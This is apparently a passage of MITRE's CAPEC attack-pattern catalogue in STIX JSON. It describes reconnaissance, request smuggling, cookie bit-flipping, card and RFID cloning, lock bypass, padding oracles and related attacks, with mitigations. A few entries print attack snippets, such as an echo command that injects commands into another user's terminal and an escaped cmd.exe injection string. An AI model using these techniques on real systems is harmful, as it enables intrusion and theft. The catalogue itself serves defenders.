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"The Net Direct client for Linux before 6.0.5 in Nortel Application Switch 2424, VPN 3050 and 3070, and SSL VPN Module 1000 extracts and executes files with insecure permissions, which allows local users to exploit a race condition to replace a world-writable file in /tmp/NetClient and cause another user to execute arbitrary code when attempting to execute this client, as demonstrated by replacing /tmp/NetClient/client. See also: CVE-2007-1057",
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"url": "https://attack.mitre.org/wiki/Technique/T1018",
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}
],
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"description": "An adversary uses a traceroute utility to map out the route which data flows through the network in route to a target destination. Tracerouting can allow the adversary to construct a working topology of systems and routers by listing the systems through which data passes through on their way to the targeted machine. This attack can return varied results depending upon the type of traceroute that is performed. Traceroute works by sending packets to a target while incrementing the Time-to-Live field in the packet header. As the packet traverses each hop along its way to the destination, its TTL expires generating an ICMP diagnostic message that identifies where the packet expired. Traditional techniques for tracerouting involved the use of ICMP and UDP, but as more firewalls began to filter ingress ICMP, methods of traceroute using TCP were developed.",
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{
"source_name": "cwe",
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},
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],
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],
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]
},
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},
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"id": "attack-pattern--4f206bf0-ddaa-49e3-8dd8-6f578082c8e0",
"name": "ICMP Address Mask Request",
"description": "An adversary sends an ICMP Type 17 Address Mask Request to gather information about a target's networking configuration. ICMP Address Mask Requests are defined by RFC-950, \"Internet Standard Subnetting Procedure.\" An Address Mask Request is an ICMP type 17 message that triggers a remote system to respond with a list of its related subnets, as well as its default gateway and broadcast address via an ICMP type 18 Address Mask Reply datagram. Gathering this type of information helps the adversary plan router-based attacks as well as denial-of-service attacks against the broadcast address. Many modern operating systems will not respond to ICMP type 17 messages for security reasons. Determining whether a system or router will respond to an ICMP Address Mask Request helps the adversary determine operating system or firmware version. Additionally, because these types of messages are rare, they are easily spotted by intrusion detection systems. Many ICMP scanning tools support IP spoofing to help conceal the origin of the actual request among a storm of similar ICMP messages. It is a common practice for border firewalls and gateways to be configured to block ingress ICMP type 17 and egress ICMP type 18 messages.",
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},
{
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"url": "http://cwe.mitre.org/data/definitions/200.html",
"external_id": "CWE-200"
},
{
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"description": "Stuart McClure, Joel Scambray, George Kurtz, Hacking Exposed: Network Security Secrets & Solutions (6th Edition), 2009, McGraw Hill",
"external_id": "REF-33"
},
{
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"description": "J. Mogul, J. Postel, RFC950 - Internet Standard Subnetting Procedure, 1985--08",
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"external_id": "REF-139"
},
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"external_id": "REF-123"
},
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"description": "Mark Wolfgang, Host Discovery with Nmap, 2002--11",
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},
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"external_id": "REF-34"
}
],
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],
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],
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"Confidentiality": [
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],
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},
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"type": "attack-pattern"
},
{
"id": "attack-pattern--25aafa9d-84f2-4f9d-a19e-280e20bcd16c",
"name": "Timestamp Request",
"description": "This pattern of attack leverages standard requests to learn the exact time associated with a target system. An adversary may be able to use the timestamp returned from the target to attack time-based security algorithms, such as random number generators, or time-based authentication mechanisms.",
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
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{
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"url": "https://capec.mitre.org/data/definitions/295.html",
"external_id": "CAPEC-295"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/200.html",
"external_id": "CWE-200"
},
{
"source_name": "ATTACK",
"description": "System Time Discovery",
"url": "https://attack.mitre.org/wiki/Technique/T1124",
"external_id": "T1124"
},
{
"source_name": "reference_from_CAPEC",
"description": "Stuart McClure, Joel Scambray, George Kurtz, Hacking Exposed: Network Security Secrets & Solutions (6th Edition), 2009, McGraw Hill",
"external_id": "REF-33"
},
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"source_name": "reference_from_CAPEC",
"description": "J. Postel, RFC792 - Internet Control Messaging Protocol, 1981--09, Defense Advanced Research Projects Agency (DARPA)",
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"external_id": "REF-123"
},
{
"source_name": "reference_from_CAPEC",
"description": "R. Braden, Ed., RFC1122 - Requirements for Internet Hosts - Communication Layers, 1989--10",
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"external_id": "REF-124"
},
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"description": "Mark Wolfgang, Host Discovery with Nmap, 2002--11",
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"external_id": "REF-125"
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"description": "Gordon \"Fyodor\" Lyon, Nmap Network Scanning: The Official Nmap Project Guide to Network Discovery and Security Scanning (3rd \"Zero Day\" Edition), 2008, Insecure.com LLC, ISBN: 978-0-9799587-1-7",
"external_id": "REF-147"
}
],
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],
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],
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"Confidentiality": [
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]
},
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"An adversary sends an ICMP type 13 Timestamp Request to determine the time as recorded by a remote target. Timestamp Replies, ICMP Type 14, usually return a value in Greenwich Mean Time. An adversary can attempt to use an ICMP Timestamp requests to 'ping' a remote system to see if is alive. Additionally, because these types of messages are rare they are easily spotted by intrusion detection systems, many ICMP scanning tools support IP spoofing to help conceal the origin of the actual request among a storm of similar ICMP messages. It is a common practice for border firewalls and gateways to be configured to block ingress ICMP type 13 and egress ICMP type 14 messages.",
"An adversary may gather the system time or time zone from a local or remote system. This information may be gathered in a number of ways, such as with Net on Windows by performing net time \\\\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz. The information could be useful for performing other techniques, such as executing a file with a Scheduled Task, or to discover locality information based on time zone to assist in victim targeting"
],
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"type": "attack-pattern"
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"description": "Some APIs will strip certain leading characters from a string of parameters. An adversary can intentionally introduce leading \"ghost\" characters (extra characters that don't affect the validity of the request at the API layer) that enable the input to pass the filters and therefore process the adversary's input. This occurs when the targeted API will accept input data in several syntactic forms and interpret it in the equivalent semantic way, while the filter does not take into account the full spectrum of the syntactic forms acceptable to the targeted API.",
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"description": "Gordon \"Fyodor\" Lyon, Nmap Network Scanning: The Official Nmap Project Guide to Network Discovery and Security Scanning (3rd \"Zero Day\" Edition,), 2008, Insecure.com LLC, ISBN: 978-0-9799587-1-7",
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"There are two main attack vectors for exploiting poorly protected session variables like cookies. One is the local machine itself which can be exploited directly at the physical level or indirectly through XSS and phishing. In addition, the man in the middle attack relies on a network sniffer, proxy, or other intermediary to intercept the subject's credentials and use them to impersonate the digital subject on the host. The issue is that once the credentials are intercepted, impersonation is trivial for the adversary to accomplish if no other protection mechanisms are in place. See also: CVE-2010-5148 , CVE-2016-0353"
],
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"description": "An adversary engages in activity to detect the operating system or firmware version of a remote target by interrogating a device, server, or platform with a probe designed to solicit behavior that will reveal information about the operating systems or firmware in the environment. Operating System detection is possible because implementations of common protocols (Such as IP or TCP) differ in distinct ways. While the implementation differences are not sufficient to 'break' compatibility with the protocol the differences are detectable because the target will respond in unique ways to specific probing activity that breaks the semantic or logical rules of packet construction for a protocol. Different operating systems will have a unique response to the anomalous input, providing the basis to fingerprint the OS behavior. This type of OS fingerprinting can distinguish between operating system types and versions.",
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},
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"description": "HTTP Request Smuggling results from the discrepancies in parsing HTTP requests between HTTP entities such as web caching proxies or application firewalls. Entities such as web servers, web caching proxies, application firewalls or simple proxies often parse HTTP requests in slightly different ways. Under specific situations where there are two or more such entities in the path of the HTTP request, a specially crafted request is seen by two attacked entities as two different sets of requests. This allows certain requests to be smuggled through to a second entity without the first one realizing it.",
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{
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{
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"url": "http://projects.webappsec.org/HTTP-Request-Smuggling",
"external_id": "26"
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],
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"When using Sun Java System Web Proxy Server 3.x or 4.x in conjunction with Sun ONE/iPlanet 6.x, Sun Java System Application Server 7.x or 8.x, it is possible to bypass certain application firewall protections, hijack web sessions, perform Cross Site Scripting or poison the web proxy cache using HTTP Request Smuggling. Differences in the way HTTP requests are parsed by the Proxy Server and the Application Server enable malicious requests to be smuggled through to the Application Server, thereby exposing the Application Server to aforementioned attacks. See also: CVE-2006-6276",
"Apache server 2.0.45 and version before 1.3.34, when used as a proxy, easily lead to web cache poisoning and bypassing of application firewall restrictions because of non-standard HTTP behavior. Although the HTTP/1.1 specification clearly states that a request with both \"Content-Length\" and a \"Transfer-Encoding: chunked\" headers is invalid, vulnerable versions of Apache accept such requests and reassemble the ones with \"Transfer-Encoding: chunked\" header without replacing the existing \"Content-Length\" header or adding its own. This leads to HTTP Request Smuggling using a request with a chunked body and a header with \"Content-Length: 0\". See also: CVE-2005-2088"
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],
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],
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],
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"In the PHP 5 session extension mechanism, a user-supplied session ID is sent back to the user within the Set-Cookie HTTP header. Since the contents of the user-supplied session ID are not validated, it is possible to inject arbitrary HTTP headers into the response body. This immediately enables HTTP Response Splitting by simply terminating the HTTP response header from within the session ID used in the Set-Cookie directive. See also: CVE-2006-0207"
],
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"name": "Leverage Executable Code in Non-Executable Files",
"description": "An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.",
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"With certain price watching websites, that aggregate products available prices, the user can buy items through whichever vendors has product availability, the best price, or other differentiator. Once a user selects an item, the site must broker the purchase of that item with the vendor. Because vendors sell the same product through different channel partners at different prices, token exchange between price watching sites and selling vendors will often contain pricing information. With some price watching sites, manipulating URL-data (which is encrypted) even opaquely yields different prices charged by the fulfilling vendor. If the manipulated price turns out higher, the Attacker can cancel purchase. If the Attacker succeeded in manipulating the token and creating a lower price, they proceed.",
"Upon successful authentication user is granted an encrypted authentication cookie by the server and it is stored on the client. One piece of information stored in the authentication cookie reflects the access level of the user (e.g. \"u\" for user). The authentication cookie is encrypted using the Electronic Code Book (ECB) mode, that naively encrypts each of the plaintext blocks to each of the ciphertext blocks separately. An attacker knows the structure of the cookie and can figure out what bits (encrypted) store the information relating to the access level of the user. An attacker modifies the authentication cookie and effectively substitutes \"u\" for \"a\" by flipping some of the corresponding bits of ciphertext (trial and error). Once the correct \"flip\" is found, when the system is accessed, the attacker is granted administrative privileges in the system. Note that in this case an attacker did not have to figure out the exact encryption algorithm or find the secret key, but merely exploit the weakness inherent in using the ECB encryption mode.",
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"description": "An attacker uses lock picking tools and techniques to bypass the locks on a building or facility. Lock picking is the use of a special set of tools to manipulate the pins within a lock. Different sets of tools are required for each type of lock. Lock picking attacks have the advantage of being non-invasive in that if performed correctly the lock will not be damaged. A standard lock pin-and-tumbler lock is secured by a set of internal pins that prevent the tumbler device from turning. Spring loaded driver pins push down on the key pins preventing rotation so that the bolt remains in a locked position.. When the correct key is inserted, the ridges on the key push the key pins up and against the driver pins, causing correct alignment which allows the lock cylinder to rotate. Most common locks, such as domestic locks in the US, can be picked using a standard 2 tools (i.e. a torsion wrench and a hook pick).",
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{
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"external_id": "CAPEC-393"
},
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"id": "attack-pattern--aea87f07-9619-4bc5-9790-01bf3423c494",
"name": "Using a Snap Gun Lock to Force a Lock",
"description": "An attacker uses a Snap Gun, also known as a Pick Gun, to force the lock on a building or facility. A Pick Gun is a special type of lock picking instrument that works on similar principles as lock bumping. A snap gun is a hand-held device with an attached metal pick. The metal pick strikes the pins within the lock, transferring motion from the key pins to the driver pins and forcing the lock into momentary alignment. A standard lock is secured by a set of internal pins that prevent the device from turning. Spring loaded driver pins push down on the key pins. When the correct key is inserted, the ridges on the key push the key pins up and against the driver pins, causing correct alignment which allows the lock cylinder to rotate. A Snap Gun exploits this design by using a metal pin to strike all of the key pins at once, forcing the driver pins to shift into an unlocked position. Unlike bump keys or lock picks, a Snap Gun may damage the lock more easily, leaving evidence that the lock has been tampered with.",
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"name": "Bypassing Electronic Locks and Access Controls",
"description": "An attacker exploits security assumptions to bypass electronic locks or other forms of access controls. Most attacks against electronic access controls follow similar methods but utilize different tools. Some electronic locks utilize magnetic strip cards, others employ RFID tags embedded within a card or badge, or may involve more sophisticated protections such as voice-print, thumb-print, or retinal biometrics. Magnetic Strip and RFID technologies are the most widespread because they are cost effective to deploy and more easily integrated with other electronic security measures. These technologies share common weaknesses that an attacker can exploit to gain access to a facility protected by the mechanisms via copying legitimate cards or badges, or generating new cards using reverse-engineered algorithms.",
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"name": "DEPRECATED: Bypassing Card or Badge-Based Systems",
"description": "This attack pattern has been deprecated as it a generalization of CAPEC-397: Cloning Magnetic Strip Cards, CAPEC-398: Magnetic Strip Card Brute Force Attacks, CAPEC-399: Cloning RFID Cards or Chips and CAPEC-400: RFID Chip Deactivation or Destruction. Please refer to these CAPECs going forward.",
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"name": "Cloning Magnetic Strip Cards",
"description": "An attacker duplicates the data on a Magnetic strip card (i.e. 'swipe card' or 'magstripe') to gain unauthorized access to a physical location or a person's private information. Magstripe cards encode data on a band of iron-based magnetic particles arrayed in a stripe along a rectangular card. Most magstripe card data formats conform to ISO standards 7810, 7811, 7813, 8583, and 4909. The primary advantage of magstripe technology is ease of encoding and portability, but this also renders magnetic strip cards susceptible to unauthorized duplication. If magstripe cards are used for access control, all an attacker need do is obtain a valid card long enough to make a copy of the card and then return the card to its location (i.e. a co-worker's desk). Magstripe reader/writers are widely available as well as software for analyzing data encoded on the cards. By swiping a valid card, it becomes trivial to make any number of duplicates that function as the original.",
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"source_name": "capec",
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"id": "attack-pattern--65737f80-588a-449a-af08-0508486d9481",
"name": "Magnetic Strip Card Brute Force Attacks",
"description": "An attacker analyzes the data on two or more magnetic strip cards and is able to generate new cards containing valid sequences that allow unauthorized access and/or impersonation of individuals. Often, magnetic strip encoding methods follow a common format for a given system laid out in up to three tracks. A single card may allow access to a corporate office complex shared by multiple companies. By analyzing how the data is stored on a card, it is also possible to create valid cards via brute-force attacks. For example, a single card can grant access to a building, a floor, and a suite number. Reading and analyzing data on multiple cards, then performing a difference analysis between data encoded on three different cards, can reveal clues as to how to generate valid cards that grant access to restricted areas of a building or suites/rooms within that building. Data stored on magstripe cards is often unencrypted, therefore comparing which data changes when two or more cards are analyzed can yield results that aid in determining the structure of the card data. A trivial example would be a common system data format on a data track which binary encodes the suite number of a building that a card will open. By creating multiple cards with differing binary encoded segments it becomes possible to enter unauthorized areas or pass through checkpoints giving the electronic ID of other persons.",
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"The ability to calculate a card checksum and write out a valid checksum value. Some cards are protected by a checksum calculation, therefore it is necessary to determine what algorithm is being used to calculate the checksum and to employ that algorithm to calculate and write a new valid checksum for the card being created."
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"name": "Cloning RFID Cards or Chips",
"description": "An attacker analyzes data returned by an RFID chip and uses this information to duplicate a RFID signal that responds identically to the target chip. In some cases RFID chips are used for building access control, employee identification, or as markers on products being delivered along a supply chain. Some organizations also embed RFID tags inside computer assets to trigger alarms if they are removed from particular rooms, zones, or buildings. Similar to Magnetic strip cards, RFID cards are susceptible to duplication (cloning) and reuse. RFID (Radio Frequency Identification) are passive devices which consist of an integrated circuit for processing RF signals and an antenna. RFID devices are passive in that they lack an on on-board power source. The majority of RFID chips operate on either the 13.56 MHz or 135 KHz frequency. The chip is powered when a signal is received by the antenna on the chip, powering the chip long enough to send a reply message. An attacker is able to capture and analyze RFID data by either stimulating the chip to respond or being proximate to the chip when it sends a response to a remote transmitter. This allows the attacker to duplicate the signal and conduct attacks such as gaining unauthorized access to a building or impersonating a user's identification.",
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"id": "attack-pattern--00d91a4c-2645-4bf1-8db7-e7448ef25f17",
"name": "Using Alternative IP Address Encodings",
"description": "This attack relies on the attacker using unexpected formats for representing IP addresses. Networked applications may expect network location information in a specific format, such as fully qualified domains names (FQDNs), URL, IP address, or IP Address ranges. If the location information is not validated against a variety of different possible encodings and formats, the adversary can use an alternate format to bypass application access control.",
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"external_id": "CAPEC-4"
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{
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"url": "http://cwe.mitre.org/data/definitions/291.html",
"external_id": "CWE-291"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/173.html",
"external_id": "CWE-173"
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"external_id": "REF-1"
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"The target software must fail to anticipate all of the possible valid encodings of an IP/web address.",
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"The adversary needs to have knowledge of an alternative IP address encoding that bypasses the access control policy of an application. Alternatively, the adversary can simply try to brute-force various encoding possibilities."
],
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"Access_Control": [
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"Authorization": [
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"An adversary identifies an application server that applies a security policy based on the domain and application name. For example, the access control policy covers authentication and authorization for anyone accessing http://example.domain:8080/application. However, by using the IP address of the host instead (http://192.168.0.1:8080/application), the application authentication and authorization controls may be bypassed. The adversary relies on the victim applying policy to the namespace abstraction and not having a default deny policy in place to manage exceptions."
],
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"id": "attack-pattern--326dfb79-2d81-406a-9977-79e67d8de6e2",
"name": "Manipulating Writeable Terminal Devices",
"description": "This attack exploits terminal devices that allow themselves to be written to by other users. The attacker sends command strings to the target terminal device hoping that the target user will hit enter and thereby execute the malicious command with their privileges. The attacker can send the results (such as copying /etc/passwd) to a known directory and collect once the attack has succeeded.",
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{
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],
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},
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],
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"Confidentiality": [
"Gain Privileges",
"Read Data",
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],
"Access_Control": [
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],
"Authorization": [
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],
"Integrity": [
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"Availability": [
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"\n <xhtml:p>\"Any system that allows other peers to write directly to its terminal process is vulnerable to this type of attack. If the terminals are available through being over-privileged (i.e. world-writable) or the attacker is an administrator, then a series of commands in this format can be used to echo commands out to victim terminals.</xhtml:p>\n <xhtml:div style=\"margin-left:10px;\" class=\"informative\">\"$echo -e \"\\033[30m\\033\\132\" > /dev/ttyXX</xhtml:div>\n <xhtml:p>where XX is the tty number of the user under attack. This will paste the characters to another terminal (tty). Note this technique works only if the victim's tty is world writable (which it may not be). That is one reason why programs like write(1) and talk(1) in UNIX systems need to run setuid.\" [REF-1]</xhtml:p>\n <xhtml:p>If the victim continues to hit \"enter\" and execute the commands, there are an endless supply of vectors available to the attacker, copying files, open up network connections, ftp out to servers, and so on.</xhtml:p>\n "
],
"x_capec_execution_flow": "<h2> Execution Flow </h2><div><h3>Explore</h3><ol><li> <p> <b>Identify attacker-writable terminals: </b>Determine if users TTYs are writable by the attacker.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Determine the permissions for the TTYs found on the system. Any that allow user write to the TTY may be vulnerable.</td></tr><tr><td>Attempt to write to other user TTYs. This approach could leave a trail or alert a user.</td></tr></tbody></table></ol></div><div><h3>Exploit</h3><ol><li> <p> <b>Execute malicious commands: </b>Using one or more vulnerable TTY, execute commands to achieve various impacts.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Commands that allow reading or writing end user files can be executed.</td></tr></tbody></table></ol></div>",
"x_capec_status": "Draft",
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},
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"name": "Information Elicitation",
"description": "An adversary engages an individual using any combination of social engineering methods for the purpose of extracting information. Accurate contextual and environmental queues, such as knowing important information about the target company or individual can greatly increase the success of the attack and the quality of information gathered. Authentic mimicry combined with detailed knowledge increases the success of elicitation attacks.",
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"external_id": "CAPEC-410"
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"name": "DEPRECATED: Pretexting",
"description": "This attack pattern has been deprecated as it is a duplicate of the existing attack pattern \"CAPEC-407 : Social Information Gathering via Pretexting\". Please refer to this other CAPEC going forward.",
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],
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]
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],
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]
},
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],
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"description": "An attacker exploits a weakness in the MIME conversion routine to cause a buffer overflow and gain control over the mail server machine. The MIME system is designed to allow various different information formats to be interpreted and sent via e-mail. Attack points exist when data are converted to MIME compatible format and back.",
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{
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{
"source_name": "cwe",
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"external_id": "CWE-120"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/119.html",
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},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/74.html",
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},
{
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{
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"description": "G. Hoglund, G. McGraw, Exploiting Software: How to Break Code, 2004--02, Addison-Wesley",
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},
{
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"description": "CERT Advisory CA-1997-05 MIME Conversion Buffer Overflow in Sendmail Versions 8.8.3 and 8.8.4, Software Engineering Institute: Carnegie Mellon University",
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"x_capec_typical_severity": "High",
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"The target system uses a mail server.",
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],
"x_capec_skills_required": {
"Low": "It may be trivial to cause a DoS via this attack pattern",
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},
"x_capec_consequences": {
"Confidentiality": [
"Execute Unauthorized Commands (Run Arbitrary Code)",
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],
"Integrity": [
"Execute Unauthorized Commands (Run Arbitrary Code)",
"Modify Data"
],
"Availability": [
"Execute Unauthorized Commands (Run Arbitrary Code)",
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],
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]
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"x_capec_abstraction": "Detailed",
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"\n <xhtml:div style=\"color:#32498D; font-weight:bold;\">Attack Example: Sendmail Overflow</xhtml:div>\n <xhtml:p>A MIME conversion buffer overflow exists in Sendmail versions 8.8.3 and 8.8.4. Sendmail versions 8.8.3 and 8.8.4 are vulnerable to a buffer overflow in the MIME handling code. By sending a message with specially-crafted headers to the server, a remote attacker can overflow a buffer and execute arbitrary commands on the system with root privileges.</xhtml:p>\n <xhtml:p>Sendmail performs a 7 bit to 8 bit conversion on email messages. This vulnerability is due to the fact that insufficient bounds checking was performed while performing these conversions. This gave attacker an opportunity to overwrite the internal stack of sendmail while it is executing with root privileges. An attacker first probes the target system to figure out what mail server is used on the system and what version. An attacker could then test out the exploit at their leisure on their own machine running the same version of the mail server before using it in the wild.</xhtml:p>See also: CVE-1999-0047"
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"x_capec_status": "Draft",
"x_capec_version": "3.4",
"type": "attack-pattern"
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],
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"Other (Attacks that leverage the principle of liking can lead to the target performing an action that results in a variety of consequences that negatively affect the confidentiality, availability, and/or integrity of an application or system.)"
],
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]
},
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"\n <xhtml:div style=\"color:#32498D; font-weight:bold;\">Using Escapes</xhtml:div>\n <xhtml:p>The backslash character provides a good example of the multiple-parser issue. A backslash is used to escape characters in strings, but is also used to delimit directories on the NT file system. When performing a command injection that includes NT paths, there is usually a need to \"double escape\" the backslash. In some cases, a quadruple escape is necessary.</xhtml:p>\n <xhtml:div style=\"margin-left:10px;\" class=\"informative\">Original String: C:\\\\\\\\winnt\\\\\\\\system32\\\\\\\\cmd.exe /c\n <parsing layer>\n Interim String: C:\\\\winnt\\\\system32\\\\cmd.exe /c\n <parsing layer>\n Final String: C:\\winnt\\system32\\cmd.exe /c</xhtml:div>\n <xhtml:p>This diagram shows each successive layer of parsing translating the backslash character. A double backslash becomes a single as it is parsed. By using quadruple backslashes, the attacker is able to control the result in the final string.</xhtml:p>\n <xhtml:p>[REF-1]</xhtml:p>\n "
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{
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{
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{
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{
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{
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{
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"url": "http://cwe.mitre.org/data/definitions/20.html",
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{
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{
"source_name": "cwe",
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"external_id": "CWE-697"
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{
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"x_capec_execution_flow": "<h2> Execution Flow </h2><div><h3>Exploit</h3><ol><li> <p>The attacker creates or modifies a symbolic link pointing to a resources (e.g., file, directory). The content of the symbolic link file includes out-of-bounds (e.g. excessive length) data.</p></li><li> <p>The target host consumes the data pointed to by the symbolic link file. The target host may either intentionally expect to read a symbolic link or it may be fooled by the replacement of the original resource and read the attackers' symbolic link.</p></li><li> <p>While consuming the data, the target host does not check for buffer boundary which can lead to a buffer overflow. If the content of the data is controlled by the attacker, this is an avenue for remote code execution.</p></li></ol></div>",
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"\n <xhtml:div style=\"color:#32498D; font-weight:bold;\">MD5 Collisions</xhtml:div>\n <xhtml:p>The MD5 algorithm is not collision resistant, allowing attackers to use spoofing attacks to create rogue certificate Authorities.</xhtml:p>See also: CVE-2004-2761",
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"To leverage an attack against the has function extension / padding weakness, consider the message to be passed to the web service is M (this message includes the parameters passed to the web service concatenated with the secret token / key bytes). The message M is hashed and that hash is passed to the web service and is used for authentication. The attacker does not know M, but can see Hash (M) and Length (M). The attacker can then compute Hash (M || Padding (M) || M') for any M'. The attacker does not know the entire message M, specifically the attacker does not know the secret bytes, but that does not matter. The attacker is still able to sign their own message M' and make the called web service verify the integrity of the message without an error."
],
"x_capec_status": "Draft",
"x_capec_version": "3.4",
"type": "attack-pattern"
},
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"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
"name": "coa-461-0",
"object_marking_refs": [
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],
"description": "Design: Use a secure message authentication code (MAC) function such as an HMAC-SHA1",
"x_capec_version": "3.4",
"type": "course-of-action"
},
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"id": "relationship--73e90459-19d2-486f-ab40-7a72b5bc43fa",
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"modified": "2020-12-17T00:00:00.000Z",
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"type": "relationship",
"source_ref": "course-of-action--4f8988fb-2aec-4c9c-bd03-a3c8ca7fed94",
"relationship_type": "mitigates",
"target_ref": "attack-pattern--1bc4fd64-65a6-41d4-ac68-8e3692eabe29"
},
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"id": "attack-pattern--5871f734-1898-4509-860c-f418cdf6b2ac",
"name": "Cross-Domain Search Timing",
"description": "An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain. For GET requests an attacker could for instance leverage the \"img\" tag in conjunction with \"onload() / onerror()\" javascript events. For the POST requests, an attacker could leverage the \"iframe\" element and leverage the \"onload()\" event. There is nothing in the current browser security model that prevents an attacker to use these methods to time responses to the attackers' cross domain requests. The timing for these responses leaks information. For instance, if a victim has an active session with their online e-mail account, an attacker could issue search requests in the victim's mailbox. While the attacker is not able to view the responses, based on the timings of the responses, the attacker could ask yes / no questions as to the content of victim's e-mails, who the victim e-mailed, when, etc. This is but one example; There are other scenarios where an attacker could infer potentially sensitive information from cross domain requests by timing the responses while asking the right questions that leak information.",
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],
"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
"external_references": [
{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/462.html",
"external_id": "CAPEC-462"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/385.html",
"external_id": "CWE-385"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/352.html",
"external_id": "CWE-352"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/208.html",
"external_id": "CWE-208"
},
{
"source_name": "reference_from_CAPEC",
"description": "Chris Evans, Cross-Domain Search Timing, 2009--12---11",
"url": "http://scarybeastsecurity.blogspot.com/2009/12/cross-domain-search-timing.html",
"external_id": "REF-399"
}
],
"x_capec_typical_severity": "Medium",
"x_capec_prerequisites": [
"Ability to issue GET / POST requests cross domainJava Script is enabled in the victim's browserThe victim has an active session with the site from which the attacker would like to receive informationThe victim's site does not protect search functionality with cross site request forgery (CSRF) protection"
],
"x_capec_skills_required": {
"Low": "Some knowledge of Java Script"
},
"x_capec_resources_required": [
"Ability to issue GET / POST requests cross domain"
],
"x_capec_consequences": {
"Confidentiality": [
"Read Data"
]
},
"x_capec_abstraction": "Detailed",
"x_capec_status": "Draft",
"x_capec_version": "3.4",
"type": "attack-pattern"
},
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"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
"name": "coa-462-0",
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],
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"x_capec_version": "3.4",
"type": "course-of-action",
"id": "course-of-action--f46f8204-a5a5-4d0b-927d-1204f8d80a35"
},
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"source_ref": "course-of-action--f46f8204-a5a5-4d0b-927d-1204f8d80a35",
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},
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"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
"name": "coa-462-1",
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],
"description": "Design: The browser's security model could be fixed to not leak timing information for cross domain requests",
"x_capec_version": "3.4",
"type": "course-of-action",
"id": "course-of-action--91807008-54b1-456b-8522-5ba6ea9ca3b5"
},
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"modified": "2020-12-17T00:00:00.000Z",
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],
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"relationship_type": "mitigates",
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},
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"id": "attack-pattern--63048cb5-6d42-4fa2-a0e1-eeff2ef2a34d",
"name": "Padding Oracle Crypto Attack",
"description": "An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key. Any cryptosystem can be vulnerable to padding oracle attacks if the encrypted messages are not authenticated to ensure their validity prior to decryption, and then the information about padding error is leaked to the adversary. This attack technique may be used, for instance, to break CAPTCHA systems or decrypt/modify state information stored in client side objects (e.g., hidden fields or cookies). This attack technique is a side-channel attack on the cryptosystem that uses a data leak from an improperly implemented decryption routine to completely subvert the cryptosystem. The one bit of information that tells the adversary whether a padding error during decryption has occurred, in whatever form it comes, is sufficient for the adversary to break the cryptosystem. That bit of information can come in a form of an explicit error message about a padding error, a returned blank page, or even the server taking longer to respond (a timing attack). This attack can be launched cross domain where an adversary is able to use cross-domain information leaks to get the bits of information from the padding oracle from a target system / service with which the victim is communicating.",
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
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"marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d"
],
"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
"external_references": [
{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/463.html",
"external_id": "CAPEC-463"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/209.html",
"external_id": "CWE-209"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/514.html",
"external_id": "CWE-514"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/649.html",
"external_id": "CWE-649"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/347.html",
"external_id": "CWE-347"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/354.html",
"external_id": "CWE-354"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/696.html",
"external_id": "CWE-696"
},
{
"source_name": "reference_from_CAPEC",
"description": "Juliano Rizzo, Thai Duong, Practical Padding Oracle Attacks, 2010--05---25",
"url": "https://www.usenix.org/legacy/events/woot10/tech/full_papers/Rizzo.pdf",
"external_id": "REF-400"
}
],
"x_capec_typical_severity": "High",
"x_capec_prerequisites": [
"The decryption routine does not properly authenticate the message / does not verify its integrity prior to performing the decryption operation",
"The target system leaks data (in some way) on whether a padding error has occurred when attempting to decrypt the ciphertext.",
"The padding oracle remains available for enough time / for as many requests as needed for the adversary to decrypt the ciphertext."
],
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"\n <xhtml:p>Ability to detect instances where a target system is vulnerable to an oracle padding attack</xhtml:p>\n <xhtml:p>Sufficient cryptography knowledge and tools needed to take advantage of the presence of the padding oracle to perform decryption / encryption of data without a key</xhtml:p>\n "
],
"x_capec_abstraction": "Detailed",
"x_capec_example_instances": [
